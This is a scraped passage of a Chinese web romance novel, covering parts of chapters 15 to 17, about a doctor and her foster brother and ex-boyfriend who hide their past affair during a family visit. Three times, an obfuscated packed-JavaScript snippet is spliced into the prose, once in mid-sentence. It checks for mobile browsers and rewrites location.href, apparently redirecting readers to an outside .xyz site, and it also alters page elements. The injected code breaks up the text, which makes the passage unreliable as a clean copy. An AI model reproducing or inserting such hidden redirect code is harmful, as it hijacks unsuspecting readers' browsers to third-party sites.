它真的很聪明,知道那个东西可以让他看见自己,于是他不在家的时候,它除了吃饭睡觉和跑酷,时不时还会凑到那里看看。 感觉也没看多久,就听到一阵敲门声,抬头就见齐眉站在车外。 他把车锁开了,副驾的车门随即被拉来,齐眉弯腰往里看,问道:“方便带年年吗?” 顿了顿,她又解释:“干妈让我把年年也带回去。” 江问舟看一眼挤到她前面,探头来看自己的大狗,嘴角微微一抿,嗯了声,向后座努努下巴。 齐眉松口气,直起腰拽了一下狗绳,拉开后座的车门,示意它:“上去,乖一点哦,坐好。” 车后座传来一阵动静,年年哈气的声音听起来很兴奋,江问舟回头,看见它黑葡萄似的眼睛看着自己,充满了好奇,坐在座椅上一点也不老实,动来动去的。 他便冲它抬了一下下巴,年年像是看懂了他的意思,立刻抬起爪子伸向他。 齐眉坐进车里的时候,正好看到年年扒拉江问舟,吓了一跳,立刻低声吼了它一句:“年年!不许淘气!” 年年一愣,犹犹豫豫地缩回爪子,舌头也收了回去。 江问舟眉头一皱,语气有些不满:“不建议打击式教育孩子。” 齐眉一噎,强行忍住了翻白眼的冲动,抿着唇低头系上安全带。 视线一撇,就看见中控台下的收纳盒里反扣着一个相框,不由得有些好奇,里面装的是谁的照片? 干爸干妈的吧,她暗自猜测,当然,也有另一种可能…… 她突然觉得心里有些酸,立刻忍住了那个念头。 江问舟见她看着相框,眨眨眼,就这么当着她的面,将相框拿过来,塞进了主驾下方左手边的储物盒。 全程都是相框的背面对着她,真是一点都不让她看见照片的影子。 齐眉:“……” 她忍不住努努嘴,侧头朝窗外看去,觉得心里像是被塞了一大口最酸的柠檬。 江问舟淡定地启动车子,很快就开出了小区路口,后座的年年扒上了座椅,兴奋又躁动,齐眉回头用眼神喝止它的动作,看它老实坐回去了,这才回过头。 然后问江问舟:“要回去接金金吗?” 江问舟握住方向盘的手紧了紧,该怎么说呢,他其实……并没有回去接猫的打算…… 但紧接着就听齐眉道:“干妈昨天还说,你怎么不把金金留在家里,工作忙起来根本没时间陪它。” 他忍不住开口反驳:“猫是独居动物。” “我是这么跟干妈说的。”齐眉立刻回答道。 她应得太快,快到让江问舟产生了一种错觉,仿佛回到从前,遇到一件事,他说完自己的想法,她立刻就接一句,我也是这样想的。 那时他总以为这是因为他们精神同步合契,三观一致,所以才会总是对某一件事持同一看法。 但自从知道她其实并没有那么喜欢医学以后,再想起从前,便会忍不住怀疑,她是不是真的这样想,这是她的真实想法,还是为了说给他听的而已? 越想就越觉得疑惑,到底哪个是真的她? 她为什么会以为,他爱上的是她的人设? 可这些问题到了最后,无一例外,都变成了他对自己的怀疑。 他是不是真的这么肤浅,只是喜欢她的皮囊,又或者他从来就没有真的靠近过她。 那些他以为他们灵魂相贴的时刻,其实只是她为他精心打造的镜花水月。 可以毫不夸张的说,齐眉带给他的,不仅仅是初恋美好绚烂如同烟花一般的感情体验,还有他人生中第一次对自我的怀疑。 他从来没有这么不自信过,甚至到了此时此刻,他都还下意识地怀疑:“……是么?” 齐眉一愣,有些疑惑地扭头看向他。 江问舟被她看得回过神来,抿抿唇,装作若无其事地看着前面的路况。 齐眉其实是想跟他说说话的,但不知道为什么,突然又在他身上感受到了一股拒人千里的气息,还有些沉闷,好像不太高兴。 于是她又不好出声了,只低头静静地看手机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582216|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>年年这时又探头上来,齐眉发现,立刻扭头冲它嘘了声,摆摆手赶它坐好。 看她这样一副客气局促的模样,江问舟心里更加不高兴了。 在过了红绿灯,路况通畅起来之后,他默默提高车速。 齐眉察觉到了,但因为车速没有到特别快的地步,她就只以为他是赶时间,没好说什么,只抓紧了安全带,有些紧张地靠在车门边。 江问舟是后知后觉地发现她的紧张的,先是一愣,旋即讪讪,又很不好意思地将车速降低下来。 然后清清嗓子问道:“你……年年不晕车吧?” “……啊?”齐眉被他的声音惊得回过神,愣了几秒才反应过来,忙摇摇头,“不晕的,它坐车习惯了。” 江问舟嗯了声:“那就好。” 说话间,车子经过了青年路的路牌。 到底还是改了主意,回来接金金了。 江问舟在小区单元楼门口停车,扭头问她:“进去坐坐吗?” 问的时候甚至没有看她,只低头解安全带,拿手机和钥匙,一副很忙碌的样子。 只有这样才能不让齐眉看清自己的表情。 齐眉犹豫了一下,摇摇头:“……不了吧,改天再……你先回去接金金吧,时间不早了,不好让干妈他们等的。” 理由正当充足,让江问舟根本无法反驳。 他顿了一下,点点头应了声好,推门就下去了。 只是脸孔还板着,齐眉甚至还看到他的眉头是蹙起来的,一时觉得莫名,不知道他这是怎么了。 以前从来没有发现他的情绪会这么阴晴不定,难道是这两年性情大变了?齐眉心里嘀咕,又觉得如果真是这样,自己也很愧疚。 年年这时扒着座椅后背,躁动地朝齐眉哼唧几声,看样子是想出去。 齐眉连忙回过神安抚它:“姐姐马上就来了,我们不出去,一会儿就要走啦。” 边说边揉揉它的头,挠挠它的下巴,很快就把它哄好了。 这时齐眉眼角的余光看到了主驾左边的储物盒,想起那个被江问舟拿走的相框,到底是什么照片呢? 好奇的情绪像年年跟她闹着玩时轻轻咬她脚指头的感觉一样,痒痒的。 要不就……看看?齐眉悄悄伸出手。 手伸到一半又停下来。不行不行,江问舟知道了会生气的,她现在已经不能随便看他的东西了,这是很不礼貌的行为。 可是……她看一眼就放回去了,她不说,年年不会说,谁知道她看过了呢?难道江问舟每天都查行车记录仪? 两道意识在脑内左右互搏,最终还是好奇心占了上风。 她咬咬牙,手刚要伸过去,就听到车门发出一声动静,随即被拉开了。 江问舟弯腰,将金金先递了进去。 齐眉一面可惜自己动作太慢,一面赶紧伸手接过金金。 它被抱在怀里时是乖巧顺从的,一点都不挣扎,也一点都不怕人,社会化做得非常好。 齐眉抱着它不自禁地笑起来,小声跟它说:“金金,我们又见面啦。” 江问舟坐进车里,系安全带,放钥匙和手机,动作慢悠悠的,过了好一会儿才整理好。 扭头对齐眉淡声道:“把它放后面去。” 齐眉抱着猫有些犹豫:“可以吗?会不会和年年打架?” 江问舟神色一动不动,但说话的语气明显相当无语:“你和年年打架它都不会。” 齐眉:“……” 她撇撇嘴,还是把猫往后面一递,金金就自己跳到了后座上,年年高兴坏了,立刻凑头过去闻金金。 金金先是拒绝,用爪子推和拍,还要咬年年,哈了它好几回,但年年都是在很短暂的安分过后,再次欢快热情地凑过去。 齐眉密切关注它们的互动:“……”哇!舔狗就是你吧年?! 但慢慢的,金金累了,懒得理这傻狗了,躺在那儿随便它蹭。 齐眉:“……”我靠!舔狗舔到最后居然应有尽有了? 从青年路到江家现今的住处,开车要两个多小时,这段时间里齐眉和江问舟谁也没有说话。 一个专心开车,一个盯着猫狗的互动看得不亦乐乎。 车子在门口的空地上停下,齐眉先下车摁门铃,孙茂芸出来开门,看见她和旁边的车,不由得一愣。 “诶?你们怎么是一块儿回来的,西西你的车呢?” 齐眉:“???” 16.第十六章 孙茂芸将院子的大门往两边完全推开,让出宽敞的大门,指挥着江问舟把车往院子里刚整理出来的停车位上开。 等江问舟的车开了进门,她一边关门,一边跟齐眉笑道:“我还说给你俩打电话问什么时候回到呢,没想到你们一块儿回来了,不错。” 她夸江问舟:“舟舟还有点哥哥样,知道要去接妹妹。” 齐眉帮着将另一扇门推过来合拢,意识却还停留在孙茂芸说的第一句话。 “你们怎么是一块儿回来的?” 可是江问舟给她打电话的时候,说的明明是,干妈让他顺路接她一起回来。 现在是什么情况?意思是他说谎了,没有这种事? 那他为什么要去接她? 一个男人,出于什么原因,什么心态,会主动去接前女友? 想到这里,齐眉的心里不由得一顿。 “对对对,停那儿就行了,那儿荫凉,过两天你爸去买材料,让人来焊一个顶棚,以后就不会日晒雨淋了。” “哎哟,年年,金金,快来奶奶这儿!” 孙茂芸轻快的声音传进耳中,齐眉回过神来,抬头看见江问舟正关上车门。 年年和金金下车就往院子里跑,孙茂芸立刻拔腿追上去。 他看着他们的背影露出一个笑脸来,那样松弛轻快,似乎心情还不错。 齐眉站在不远处定定地望着他,心里变得烦乱起来。 察觉她的目光,江问舟扭头,脸上的笑没有落下去,柔和的眉眼就这样直通通掉进她的心里。 吧唧一下,印出一个人形来。 江问舟见她愣愣的,看着他的目光充满了疑惑不解,甚至还有些茫然,想到进门前母亲问的那句话,立刻便明白过来。 但那又怎么样。他冲家门口的方向抬抬下巴,率先往前走。 齐眉立刻拔腿跟上,并且越走越快,想要跟上他,问个究竟。 但江问舟明显是故意的,她快他也快,他腿还比她的长,没一会儿就把她甩在了后面。 见她没追上来,又放慢脚步,等她离得近一点了,接着大步一跨。 齐眉:“……”啊啊啊这人有病吧?他以为他是逗猫棒吗还是什么?! 从大门口到主屋门口这段路不长不短,总共也没走几分钟,却走出了齐眉的一肚子气。 总算是在屋门口的花坛边上被她赶上了江问舟,眼看着他就要进屋,齐眉情急之下脱口喊了一声:“江问舟!” 多么熟悉的语气,以前他要是惹她生气了,她就会这么喊他,有一点点凶,但藏着很多委屈。 江问舟心头一颤,像平静的湖面被人投入了石子,丝丝缕缕的涟漪扩散震荡。 有些疼啊,他忍不住皱眉。 回头时却是笑着的,语气有些莫名:“西西,你是这么叫哥哥的?不太礼貌吧?” 齐眉一噎,哽了几秒才找回声音,急急忙忙地问:“你为什么骗我?为什么说是干妈让你去接我的?” 不想让家里人发现他们在争执,她还记得要压低声音,但又怕江问舟听不清楚自己说什么,还往他跟前走了一步。 江问舟看着近在咫尺的人,熟悉的脸熟悉的额头,他曾经吻遍她的每一寸肌肤,吻过她的笑,也吻过她的眼泪。 可是现在…… 他往后退了一步,脚后跟踩上门口的地垫,脸上的笑收了回去,重新变得神色淡淡。 “不能只准你骗我,而我不能骗你,齐眉,做人不要这么双标啊。” 轻轻的语气像是带着一阵狂风,从齐眉的心头席卷而过。 他恨她。齐眉后知后觉,终于意识到这一点。 她浑身的血液在这一刻变凉,渐渐凝固,甚至觉得自己的呼吸也随之变得困难起来。 江问舟说完那句话,转身进了屋,齐眉愣愣地站在门口,脚底像生了根,一点都挪不动。 “西西怎么站在这儿?”背后传来孙茂芸带着点喘息的声音,她哎哟一声,“这家里小孩多也不行,跑起来我是哪个都追不上,你别看年年和金金体格都那么大,跑起来很轻盈诶到处蹿,根本抓不到。” 齐眉回过神,转过头去。 孙茂芸先是冲着远处喊了声:“你们两个快回来了!” 一猫一狗根本不搭理她,金金被年年追得到处跑,她失笑着转头,却看见齐眉有些失魂落魄的模样,吓了一跳。 连忙问道:“西西你这是怎么了,怎么脸色这么白?是不是哪里不舒服?走走走,我给你拿药……” “……不用不用,我、我没事。”齐眉连忙拉住她,摇摇头,眼睑半垂着小声道,“我歇一会儿就没事了。” 孙茂芸握着她的手,摸摸她的手心,又摸摸她的额头,满脸心疼,“是不是上班太累了?一会儿吃完午饭,你早点睡好不好?” 说着又有些自责:“都怪我没想到,值班哪有不累的,上了一天一夜的班,该让你先好好休息的,明天再来见你纪叔叔也来得及。” 齐眉摇摇头,一声不吭,突然伸手一把抱住她,把脸埋在她肩膀上。 “很难受吗?”孙茂芸连忙回抱住她,拍拍她的背。 齐眉摇摇头,半晌才低声问了一句:“干妈,你会……你会一直是我干妈吗?” 孙茂芸先是一愣,旋即好笑,拍着她的背嗔怪道:“我不是你的干妈谁是?你可是我养大的,跟亲生的有什么区别,说句难听的,我就算跟你干爸离婚了,也要把你带走的,除非你不认我了。” “才不可能。”齐眉立刻否认,嘟囔的声音听起来像撒娇。 孙茂芸笑着摸摸她的背,声音温柔地问:“那是怎么了,是不是遇到什么事了,跟干妈说说好不好?” 事是真的有事,但齐眉不敢,也不可能跟她说。 于是她摇摇头不吭声。 孙茂芸换了个说法,问她:“那能不能说说,怎么突然间担心干妈不是干妈啦?” 因为江问舟恨她,当初在一起,江问舟提过好几次等回家了就跟家里坦白他们的关系,他说他已经想好了怎么说服父母,说如果怕被别人议论,大不了把父母都接到申城去,说这事迟早都要说的,伸头一刀缩头也是一刀,早说早解决…… 他说过很多话,其中不乏关于他们的“以后”。 她总是在他的劝说中答应,又在纠结中反悔,他拿她没办法,但仍然耐心地等待和劝说。 但他的长久忍耐没有换来最终想要的结果,而是她的弃城而逃。 换了谁都得疯。齐眉扪心自问,自己是有愧于他的。 所以如果为了不碍他的眼,不刺激他心里的怨怒,她是不是该少点出现在这个家里,那样的话,自己是不是就慢慢失去干爸干妈了? 可她一开始那么纠结,就是怕失去他们啊,难道到头来,不属于自己的东西,终究都是要失去的吗? 齐眉觉得心里难受,又不敢哭出来,只能使劲咬住嘴唇忍着。 孙茂芸发觉她的呼吸变重,连忙拍拍她肩膀,着急地问要不要去医院看看。 齐眉又摇摇头,半晌才咕哝道:“我一会儿就好了。” 至于为什么会这样,她瞎编了一个理由:“听了别人的八卦……呃、肚子有点疼。” 孙茂芸没想太多,笑着摸摸她后脑勺,“是生理期来了,情绪波动比较大?肚子疼,药吃了没有?别觉得会有什么依赖性,那都扯淡,一个月才吃一次能有什么依赖性,疼起来才要命呢。” 齐眉嗯了声,半晌才缓过劲来。 她从孙茂芸肩膀上离开,抬手使劲揉了揉脸,见年年和金金跑累了回来,小猫都累得像小狗那样哈气了,一时忍俊不禁。 孙茂芸见她笑起来时脸色还可以,松了口气,招呼年年:“走了,我们回去喝水了。” 看金金累得舌头都吐出来了,齐眉不准年年再去招惹它,两个大人把一猫一狗隔开,前后进了屋。 进门就听见江问舟的声音:“容医一院的心外科在华南地区当然首屈一指,但比起京大二院或者申医一院,确实还差一点,但我们已经在努力赶上了。” 话音刚落,就听门口处一阵响动,扭头一看,年年和金金又追逐了起来,甚至直接往楼上蹿。 江眀琮看见齐眉,立刻招呼她:“西西快过来,认识一下你纪达叔叔,还有你小纪哥。” 齐眉的视线从跑远的一猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588548|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一狗身上转开,便看见客厅里有一对陌生的父子,其中一位头发间有些白丝,肤色古铜,看上去似乎比江眀琮还要老几岁,眼角处有一道让人难以忽略的疤痕。 似乎在父母留下来的照片里,父亲的眼角也有一道类似的疤。 齐眉心里便不由自主地生出一丝亲切来。 等她走近,在江眀琮的示意下,乖巧地喊了声纪叔叔,就听他笑着道:“你长得跟你妈妈很像。” 齐眉有些好奇:“是么?我对我妈妈没什么印象,只是看过她的一点照片。” “眼睛和脸型像,嘴巴应该是像你爸爸。”纪达笑着回答道,又问江眀琮,“你说是吧?” 江眀琮却说:“其实她眼睛也有点像齐天远。” “我又不认识他。”纪达回了一句,有些没好气似的。 齐眉眨眨眼,觉得好像有点怪怪的,这语气听起来……怎么好像有点怨念? 江眀琮笑着嗐一声,对齐眉介绍说:“你纪叔叔以前和你妈妈关系最好,大舅哥嘛,都看不上妹婿的。” “你妈走的时候,他回来看过,但那会儿你还小,认不得人,后来你爸走的时候,他也赶巧负伤,来不了,后来也不方便来了,不过你还记不记得小时候你有一个藏羚羊的玩偶?他给你寄的,还有家里以前一些牦牛肉羊肚菌,也是他给寄的,小时候你和舟舟是不是都有一块昆仑玉的玉牌,你们以为是妈妈给买的,那不是,是你们纪叔叔送的。” 齐眉闻言十分惊讶:“是么?那为什么……” 她想问为什么这么多年没见过面,但话到嘴边又咽了回去。 以前很长一段时间里,她的处境并不十分安全,她的母亲是缉毒牺牲,父亲是打入敌人内部的内应,没人不恨叛徒。 所以为了保护她,江眀琮和孙茂芸他们将齐眉的信息藏得严严实实,也不带她离开容城哪怕一步,直到几年后,她都要中考了,确定她已经完全安全,这才第一次带她回老家祭拜祖父母。 但是是一直到成年后,江眀琮才告诉她以前的事,她才发现自己在干爸干妈家安安全全快快活活过的这些年,其实都是大人们在替她提心吊胆。 就连舅舅陆近成也因为种种原因,不敢登门看她,只是偶尔从江眀琮这儿听说一点她的近况。 你的岁月静好不过是别人在为你负重前行,齐眉对这个说法的感触尤为深刻。 这会儿她便忍不住关切:“纪叔叔负伤……是因为跟我妈妈一样的原因吗?” “虽然不是,但好不到哪儿去。”江眀琮笑着摇摇头,说纪达是一名森林公安,工作的地方在遥远神秘的可可西里自然保护区。 “以前那一带盗猎猖獗,我们抓人的时候被打的。”纪达说得轻描淡写,“打在腰上,没事,躺几天就好了。” 说着指指一旁陪自己来容城看病的儿子纪琏,有些得意:“我这也算后继有人了。” 齐眉还没来得及表示敬佩,就见江眀琮翻了个白眼:“我儿子没上警校又怎么样,你现在要看病还不是只能靠我?” 齐眉:“……”哦哦,原来是这样:) 她抿着唇在一旁笑,过了会儿好奇地问纪达的儿子在哪儿工作,问现在还有没有盗猎分子。 聊得不亦乐乎,倒是将江问舟晾在了一边。 这人从进门就没看过一眼自己,江问舟当然知道她是生气了,但心里却一点愧疚都没有。 甚至还有点诡异的高兴。我真是个变态,他想。 过了没多久孙茂芸通知大家开饭,齐眉便跟着大家一起去饭厅了,江问舟走在她身后,看着她头上的深绿色真丝发圈有些微微出神。 可是具体在想什么,他又说不上来。 吃完饭,孙茂芸让他帮忙收拾桌子,打发齐眉去休息,嘱咐她:“记得吃一片止痛药,知不知道?” 齐眉乖巧地点点头。 江问舟有些疑惑地看向她,她理都没理,扭头就走。 他只好问孙茂芸:“西西她?” “女孩子生理期有点肚子疼,没什么大问题。”孙茂芸回答道。 江问舟闻言目光微微一闪,今天这才几号,这人生理期怎么会提前半个月? 17.第十七章 齐眉当然没有吃止痛药,毕竟她并不是真的生理痛。 但确实是有些困了,她开了空调,直接就爬上床用被子把自己蒙了起来。 睡得有些迷迷糊糊的,梦见以前和江问舟还在一起时的一些事,一会儿是他们一起在图书馆自习,一会儿是江问舟陪她去看音乐剧,一会儿是他们吵架闹别扭…… 醒来以后全都不记得具体内容,怎么想都想不起来,一时不由得有些怅然若失。 可是心情却好得差不多了,甚至还有些摆烂,这也是我家,我凭什么躲着他,他讨厌我,恨我,那就他避开好了! 反正她不走。 只要这么一想,她立刻变得理直气壮,心境也随即开阔平稳起来。 于是本来还因为成功刺激到她而高兴的江问舟,又不高兴了。 他看着齐眉睡醒以后神清气爽的脸,还有脸上柔和舒展的笑意,眼尾弯弯的,眼波流转间有股柔和的灵气,像是会说话。 他曾经在这双灵动的眼睛里看到过诸般情绪和千言万语,那些嗔痴和爱意全都属于他一个人,所以在失去以后,才会觉得格外受不了。 下午三点多,正是吃下午茶的时候,孙茂芸准备了容城特色的几样糕点,江眀琮一边泡茶一边对纪达说:“明天我带你们喝早茶去,正好明天西西和舟舟也休息。” “早就听说容城早茶有名,这次难得来一趟,我肯定要吃够本才回去的。”纪达笑呵呵地道。 接过江眀琮递过来的茶,抿了一口才继续说道:“不过就不用麻烦孩子们啦,年轻人有年轻人的事要做,大好光阴不去做自己的事,耗我们身上可浪费了。” “他们能有什么事啊,西西白天又不上班,舟舟……”孙茂芸说到这里看了眼江问舟,问他,“明天有没有空?不会要去开什么会吧?” 江问舟刚拿果签扎了一块蜜瓜,闻言摇摇头,语气平静缓和:“这个星期难得什么事也没有。” 齐眉闻言实在没忍住,扭头看了他一眼。 好想问问他,您论文写完了吗? 但她忍住了,这种玩笑话不适合现今的她和江问舟。 江问舟察觉她的目光,立刻回看过去,乌黑的瞳仁毫无情绪地凝住她,却激得她背后冒出一大片鸡皮疙瘩。 被这样看着实在压力太大了,齐眉立刻转头,专心用听大人们将话来转移注意力。 纪达这时笑着对孙茂芸说了句:“弟妹怎么只问工作,万一孩子要去谈恋爱呢?” 说完不等孙茂芸回答,就问齐眉和江问舟:“你们俩也不小了,有对象了吧?” 好像只要到了某个年龄段,大人们就爱问这个问题,是不是真心催促另说,问是肯定要问的。 江问舟本来已经收回的视线在听到这句话后,又忍不住往旁边一撇。 恰好落在齐眉的侧脸上,看到她有些不好意思地摇摇头。 江眀琮就接着道:“她才多大,她哥都三十好几了,不也寡佬一条,着什么急啊。” 纪达闻言惊讶地看向江问舟:“舟舟也还没对象么?” 齐眉又一次忍不住扭头,却正好看见他收回目光的那一秒。 接着就听他道:“有过,分了。” 这下就连江眀琮和孙茂芸两口子都来了兴趣,放下茶杯就凑过来问他:“真的啊?什么时候的事,怎么没听你说起过?” 江问舟的眼睛轻轻转了一下,眼尾余光不动声色地瞥了一眼齐眉,见她虽然神色平静,但握着茶杯的手却指关节泛白,忍不住哼地笑了声。 “两三年前,西西……”他顿了顿,放着所有人的面非常刻意地看了齐眉一眼,才继续道,“西西毕业那一年分的,本来要跟家里说,这不是……用不着了么。” 几个大人顿时不约而同地一脸可惜。 孙茂芸说完可惜,又认真地问:“那你们是为什么分手的?是结婚的事没谈拢,还是怎么说?有没有家里的原因,比如……呃、要在申城买房之类?你先说说,我和你爸先提前做做准备。” 江问舟的眼神又歪了一下,瞟向齐眉。 齐眉这时已经转脸看着他,嘴唇轻轻咬着,神情看起来已经不如刚才平静。 她看他目光里,甚至若隐若现地出现了紧张和惶恐。 江问舟心里一涩,喉咙像被一团湿水棉花堵住了一样,那团棉花还不停地往外挤着水,水汽一点点氤氲上他的眼底。 “不关家里的事。”他摇摇头,笑着叹口气,温声安慰孙茂芸,“咱们家是很好的,不信……你问西西。” 齐眉这会儿精神紧绷得像一张拉满的弓,聚精会神地听着江问舟说的每一个字。 他没说一句话,她的心跳就加快一分。 她真是怕极了他会下一秒就不管不顾地嚷出来一句,那个跟我分手的人就是西西啊! 于是一听到他说到自己的名字,她立刻抖了一下,差点要跳起来。 但就在千钧一发之际,她看到了江问舟望过来的目光。 她猛然想起来大二时参加英语演讲,上台之前很紧张,江问舟就直视着她的目光,嘱咐道:“你已经做得很好了,只需要再镇定一点。心乱的人才会出错,一步错就会步步错。” 后来遇到很多比演讲比赛还要令人紧张的时刻,比如第一次抢救病人,第一次遇到死亡病例,第一次独立值班,甚至是第一次……面临职场霸凌。 她都回想起江问舟当时的眼神,和他说过的话。 “心乱的人才会出错。” 这句话在脑海里响起的时候,她立刻便回过神来,乱成一锅粥的心湖又一点一点地平静下来。 虽然还是没能完全恢复平静,但至少在孙茂芸他们的注视下,她可以毫无迟滞地点点头,表示赞同江问舟的话。 江眀琮干了一辈子警察工作,观察能力毋庸置疑,敏锐地从齐眉的表情中看出了一丝不对劲,但具体哪儿不对劲…… 一会儿再问。 他不动声色地转头看向江问舟,神情疑惑:“那你们为什么分手?” 江问舟重重舒出一口气,往沙发背上一靠,双手一摊:“因为她不够信任我,我们之间有一些……分歧,她不相信我能处理好,所以我们发生了矛盾,最后……” 他耸耸肩,没有再说下去。 但大家已经明白他的意思,孙茂芸还说:“那还真是你的问题,肯定是你没做好,没有给够人家女孩子安全感。” 江问舟点点头,没来得及变态以后会改,就听江眀琮忽然冲齐眉问了句:“西西,你之前跟你哥是一个学校一个单位的,他女朋友……你应该认识吧?” 齐眉刚放松下来的呼吸立刻又紧绷起来。 连江问舟的心里都立刻警铃大作,好家伙,他爸是不是发现什么了?! 孙茂芸这时诶了声,也扭头看向齐眉,问道:“对啊,西西你应该认识的吧,快跟我们说说,你哥当时的眼光怎么样?” 齐眉:“……”这是要我自己夸自己? 她张不开这个嘴,在众目睽睽之下不由得面露难色,眉头都皱了起来。 这下好了,谁都知道有古怪了。 她心里急啊,急得后背都要冒汗了,想说不知道,又怕被看出是撒谎,可是说知道,那更没法编了。 最后她只能硬着头皮去看江问舟,内心希望他赶紧出来打圆场。 何况是他先起的头,最后却把难题丢给她,这对吗?! 江问舟当然看得出她的为难和怨念,嘴角抽了一下,语气无奈地道:“你们问她能问出什么来,她都不知道。” 嗯??? 孙茂芸一愣,有些不信:“怎么可能不知道,你不是跟西西一个单位吗?” 我们还住一个房子睡一张床呢,那咋啦? 江问舟在心里吐槽,面上却淡定地摇摇头:“又不是连体婴,怎么可能对对方的事知道得这么仔细,你们上班的时候对同事的事都知道得一清二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594549|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚吗?” 那确实没有,可是,“你都不带女朋友和妹妹一起吃顿饭,认识认识的吗?” “还不到时候。”江问舟含糊地应道,“后来就没来得及。” 这话其实漏洞很多,但他一口咬定就是这样,大人也拿他没办法,总不能真的审问吧? 齐眉倒是松了口气,肩膀往下一塌,靠在了沙发扶手上。 江问舟一面应付母亲的盘问,一面抽空乜了她一眼,见她一副逃过一劫之后庆幸又累得半死不活的样子,不由得想翻白眼。 真的,人无语到一定程度真的会笑。 好不容易应付完这件事,时间也到了四点多,孙茂芸说该出发去吃饭了。 “在容城大酒店订了桌,现在出发,到的时候刚好饭点,早点吃,吃完了西西还得去上班。” 纪达就好奇地问:“西西今天值夜班吗?” “她店里。”孙茂芸笑眯眯地解释道,“机场不是上一休二么,业余时间多,她跟老陆家陆阳的对象合伙开了家店,白天是咖啡店,晚上是酒吧,她就负责晚上的营业,有时间就去。” 纪达恍然大悟,笑道:“也好,趁年轻熬得动,是该拼一下。” 又提议说:“要不我们吃完饭,也去支持一下西西?” “爸你不能喝酒!”他儿子纪琏闻言立刻出声阻止。 纪达一噎,辩解道:“我没有说喝,去看看而已,看看又没事。” 纪琏无语:“……你去酒吧不喝酒算哪门子支持人家生意?” 好了,这下不知道怎么狡辩了,他一时噎在那儿没出声儿。 齐眉见状忍住笑,解围道:“我们也有很多无酒精鸡尾酒的,有些是果汁混合,有些是茶和果汁混合,还有苏打水和果汁混合,都可以的。” 有些客人要开车,但不想叫代驾,或者本身不会或不宜喝酒,但陪了要喝酒的人一起来,不喝点什么总觉得格格不入,种种原因,店里的无酒精鸡尾酒销量也还不错。 于是大家都松了口气,纪达对江眀琮笑着感慨道:“咱们是真的老啦,已经到了喝一口酒都要提心吊胆的岁数了。” “可不是么,以前我们假期凑一起喝酒的时候,哪次不是啤酒一打起步。”江眀琮站起身,也叹口气,“现在不行喽,血压不饶人。” “你比我还好了。”纪达失笑,起身和他一道往外走,站在门口看着远处的天,笑着说了句,“太阳快要下山喽。” “明天还会升起,怕什么。”江眀琮笑着应了句,扭头问道,“谁坐我的车啊?” 齐眉刚想说她坐,就听江问舟开口道:“你带妈和纪叔叔吧,西西和小纪哥坐我的车走。” 齐眉一噎,半晌又想起来:“年年和金金怎么办?” “都留在家,晚上我接你回来,不是明早还要一起去吃早茶么。”江问舟淡淡地道。 齐眉还没想到拒绝的理由,孙茂芸已经道:“这样可以,你哥总比年年更能唬人。” 齐眉:“……” 孙茂芸说完立刻上楼去把窗户都关了,嘱咐年年和金金在家不要打架。 齐眉再也拒绝不了,只好努努嘴跟着江问舟走。 不过等到要上车,她立刻主动选择了后座,对纪琏说:“小纪哥坐副驾吧,可以跟舟哥聊聊天。” 舟哥。江问舟听到这个称呼时眉头一挑。 似笑非笑地对纪琏说了句:“她已经很久没这么叫过我了,我差点没反应过来,心说这是谁啊?” 顿了顿,哼的笑了声:“原来是我自己啊。” 这俩人绝对有事,纪琏自己也算是过来人,见状笑笑,没有多嘴说什么。 齐眉嘴角一抽,有些讪讪地拉开车门坐了进去。 刚坐好,就听前面传来一句淡淡的:“副驾驶后面的袋子里有零食。” 她一愣,眼睛眨了眨,内心顿时涌起一点惶恐。 啊这……这不会是叫了声哥才有的福利吧?